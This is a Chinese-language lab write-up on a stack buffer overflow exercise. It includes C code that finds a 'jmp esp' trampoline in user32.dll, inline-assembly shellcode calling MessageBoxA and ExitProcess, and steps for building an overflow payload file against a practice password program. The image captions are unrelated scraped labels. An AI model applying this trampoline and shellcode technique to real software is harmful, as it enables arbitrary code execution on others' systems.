实验目的

使用jmp esp指令作为“跳板”,动态定位shellcode。

原理
ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏
函数返回时,ESP所指的位置恰好时我们所淹没的返回地址的下一个位置

实验内容

获得跳板的地址

编程搜索内存获得user32.dll内跳转指令jmp esp地址

#include <windows.h>
#include<stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
 BYTE* ptr;
 int position,address;
 HINSTANCE handle;
 BOOL done_flag=FALSE;
 handle=LoadLibrary(DLL_NAME);
 if(!handle)
 {
  printf("load dll error!");
  exit(0);
 }
 ptr=(BYTE*)handle;
 for(position=0;!done_flag;position++)
 {
 try
  {
   if(ptr[position]==0xFF&&ptr[position+1]==0xE4)//jmp esp对应的机器码为0xFFE4
   {
    int address=(int)ptr+position;
    printf("OPCODE found at 0x%x\n",address);
   }
  }
  catch(...)
  {
   int address=(int)ptr+position;
   printf("END OF 0x%x\n",address);
   done_flag=true;
  }
  }
 return 0;
}

上述程序的作用就是:从user32.dll在内存的基地址开始向后搜索0xFFE4,找到就返回其内存地址。

运行结果如下:

espidf ping操作_汇编语言


这里不妨选择0x75CE4E5B处的跳转地址jmp esp作为定位shellcode的“跳板”

调用exit使程序安全退出

为修复前面实验中shellcode无法正常退出的缺陷,在调用MessageBox后,通过调用exit函数让程序安全退出,使用kernel32.dll的导出函数ExitProcess,用前面实验的方法获得该函数的入口地址

编写程序调用

#include "windows.h"
int main()
{
 ExitProcess(0);
 return 0;
}

IDA定位函数位置0x40102C

espidf ping操作_汇编语言_02


OD调试可以看到函数入口地址为:75C3214F

espidf ping操作_espidf ping操作_03


同理MessageBoxA入口地址为:75D1EA11

接下来编写对两个函数进行调用的汇编程序

#include <windows.h>
int main()
{
 HINSTANCE LibHandle;
 char dllbuf[11]="user32.dll";
 LibHandle=LoadLibrary(dllbuf);
 _asm{
  sub sp,0x440;
  xor ebx,ebx;
  push ebx;
  push 0x74736577;
  push 0x6C696166;
  
  mov eax,esp;
  push ebx;
  push eax;
  push eax;
  push ebx;

  mov eax,0x75D1EA11;
  call eax;
  
  push ebx;
  mov eax,0x75C3214F;
  call eax;
 }
 return 0;
}

获得二进制机器代码

使用OD打开程序,选中汇编语言部分右击save->to file即可获得二进制机器码

espidf ping操作_汇编语言_04


制作password.txt

此时password包含三部分:
第一部分:填充buffer,变量,EBP
第二部分:跳板地址0x75CE4E5B
第三部分:shellcode

如下:

espidf ping操作_机器码_05


此时再运行密码验证程序可以看到程序正常运行且退出时不会报内存错误

espidf ping操作_汇编语言_06


点击确定正常退出

espidf ping操作_汇编语言_07

总结

初步了解了“跳板”技术,对shellcode在实际执行时可能遇到的问题有了一定的了解,学会了OD将汇编语言转为二进制机器码的方法。